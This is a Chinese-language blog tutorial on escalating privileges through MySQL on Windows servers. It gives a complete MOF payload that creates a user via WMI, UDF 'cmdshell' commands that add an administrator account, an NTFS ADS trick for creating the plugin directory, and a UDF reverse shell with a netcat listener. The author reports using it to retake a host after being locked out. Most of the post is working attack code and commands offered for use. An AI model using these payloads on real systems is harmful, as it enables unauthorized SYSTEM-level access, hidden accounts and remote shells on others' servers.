欢迎您访问程序员文章站本站旨在为大家提供分享程序员计算机编程知识!
您现在的位置是: 首页

利用mysql的几种提权方式

程序员文章站 2022-03-24 09:17:31
...

利用mysql的几种提权方式

mof提权

1.原理
在windows平台下,c:/windows/system32/wbem/mof/nullevt.mof这个文件会每间隔一段时间(很短暂)就会以system权限执行一次,所以,只要我们将我们先要做的事通过代码存储到这个mof文件中,就可以实现权限提升。

2.利用条件
1. mysql用户具有root权限(对上面那个目录可写)
2. 关闭了secure-file-priv

3.利用方式
下面是一段写好了的mof利用代码

#pragma namespace("\\\\.\\root\\subscription") 

instance of __EventFilter as $EventFilter

{ 

EventNamespace = "Root\\Cimv2"; 

Name  = "filtP2"; 

    Query = "Select \ From __InstanceModificationEvent " 

            "Where TargetInstance Isa \"Win32_LocalTime\" " 

            "And TargetInstance.Second = 5"; 

QueryLanguage = "WQL"; 

}; 



instance of ActiveScriptEventConsumer as $Consumer 

{ 

    Name = "consPCSV2"; 

ScriptingEngine = "JScript"; 

ScriptText = 

    "var WSH = new ActiveXObject(\"WScript.Shell\")\nWSH.run(\"net.exe user admin admin /add")"; 

}; 

instance of __FilterToConsumerBinding

{ 

    Consumer   = $Consumer; 

    Filter = $EventFilter; 

};

这段代码只是在目标系统上添加了一个admin用户,并没有添加到管理员组(如果需要自行查找,网上很多),将这个文件存储为nullevt.mof上传到任意一个你在目标机上可写的路径(当然,如果你直接可以写到c:/windows/system32/wbem/mof/就更好了),接下来我们就可以直接执行sql语句把该文件写入到目标路径:

select load_file('你上传的路径/nullevt.mof') into dumpfile 'c:/windows/system32/wbem/mof/nullevt.mof';

执行完后,你可以在你的webshell里执行使用net user查看是否多了一个admin用户,如果有则说明可以利用,否则就不需要继续了。


注:经过我在win2003测试,没有成功利用。但是网上很多资料都提到win2003很容易利用,而更高版本的就很难成功了,所以大家遇到win2003可以试一下这种提权方式

udf提权

1.原理
UDF提权是利用MYSQL的自定义函数功能,将MYSQL账号转化为系统system权限

2.利用条件
1. Mysql版本大于5.1版本udf.dll文件必须放置于MYSQL安装目录下的lib\plugin文件夹下。
2. Mysql版本小于5.1版本。udf.dll文件在Windows2003下放置于c:\windows\system32,在windows2000下放置于c:\winnt\system32。
3. 掌握的mysql数据库的账号有对mysql的insert和delete权限以创建和抛弃函数,一般以root账号为佳,具备`root账号所具备的权限的其它账号也可以。
4. 可以将udf.dll写入到相应目录的权限。

注:关于plugin目录,可在mysql中执行

show variables like '%plugin%';

进行查看,这个目录也就是dll文件需要导入的目录

3.利用方式
1. 将dll文件导入到相应目录,如果导入错误会产生can`t open shared library错误
2. 创建自定义函数

create function cmdshell returns string soname 'udf.dll';
select cmdshell('net user miao zjicmisa.org /add');
select cmdshell('net localgroup administrators miao /add');
drop function cmdshell; 删除函数
delete from mysql.func where name='cmdshell'  删除函数

注意这里的函数名应该与dll文件中的函数名一致。

是不是感觉挺麻烦的,首先找dll文件就是一个问题,其实这个dll文件完全可以从带有udf提权功能的大马的源码中去找。当然我们也可以利用别人写好的工具,网络上有很多关于udf提权的利用脚本。

我用的这个脚本还不错
利用mysql的几种提权方式


下面是我使用udf拿下之前一台被管理员踢出去的主机的截图
利用mysql的几种提权方式

利用mysql的几种提权方式
成功添加了test用户到管理员组
利用mysql的几种提权方式
当然关于udf有一个特别需要注意的问题,就是5.1以上版本默认情况下/lib/plugin目录是不存在的,还好有大牛已经想出了解决办法——NTFS ADS流来创建文件夹(该方法我们测试过)

select @@basedir;   
//查找到mysql的目录
select 'It is dll' into dumpfile 'C:\\Program Files\\MySQL\\MySQL Server 5.1\\lib::$INDEX_ALLOCATION';   
//利用NTFS ADS创建lib目录
select 'It is dll' into dumpfile 'C:\\Program Files\\MySQL\\MySQL Server 5.1\\lib\\plugin::$INDEX_ALLOCATION';
//利用NTFS ADS创建plugin目录

上面的目录应该是相应的mysql目录,读者在测试时应该根据情况进行修改

注:udf提权也是一般应用于win2000、win2003系统

mysql反弹shell提权

其实这也属于udf提权,只不过应用场景不同,比如现在我们没有webshell但是我们却有偶然得到了mysql的root密码(弱口令等),恰巧目标机的数据库可以外联或者有phpmyadmin,那么我们就可以把上面udf.dll文件的内容先插入到数据表中,然后再导出到/lib/plugin目录。

注:这里我看到网上的资料都是讲mysql.txt导入到数据库中,mysql.txt也就是udf.dll文件的2进制转换为16进制,这里我不太清楚为什么需要转成十六进制,但是我知道如果udf.dll文件成功导入到plugin目录是可以成功反弹shell的

  • 然后创建函数backshell
CREATE FUNCTION backshell RETURNS STRING SONAME 'mysqldll.dll'; //创建backshell
  • 在具备独立主机的服务器上执行监听
nc -vv -l -p 12345
  • 最后就是执行backshell
select backshell("你的ip地址",12345);

利用mysql的几种提权方式
上图是我在win2003的测试结果,但是我是通过webshell将udf.dll导入plugin目录完成的
- 如果成功返回了shell则说明成功了,我们就可以添加用户了

文中提到的脚本在我的公众号回复”udf提权”,可获得链接
利用mysql的几种提权方式

相关标签: mysql 提权